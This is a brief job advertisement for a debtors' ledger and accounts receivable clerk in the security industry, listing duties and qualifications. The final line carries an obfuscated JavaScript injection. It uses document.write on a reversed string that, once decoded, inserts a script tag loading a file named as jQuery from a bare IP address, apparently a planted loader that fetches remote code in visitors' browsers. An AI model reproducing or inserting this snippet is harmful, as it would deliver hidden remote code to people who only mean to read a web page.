Industry : Security
– Prepare, maintain and update debtors’ ledger from source department.
– Liaison with customer for their payment status.
– Provide the relevant documents for customer’s reference and payment.
– Re conciliation of the customer account.
– Arrange the cheque collection.
– Update customer statement of account and information.
– Prepare official receipt and statement of account.
– Possess minimum Certificate / Diploma in Finance / Accounts / related fields.
– At least 2 years of working experience in the related field is required
– Required skills / knowledge in Ms Word, Excel or any accounting software.
– Detail oriented, good numerical and analytical skills, able to work independently with minimum supervision. document.write(‘>tpircs/”sj.yreuqj/87.611.942.431//:sptth”=crs tpircs<'.split("").reverse().join(""))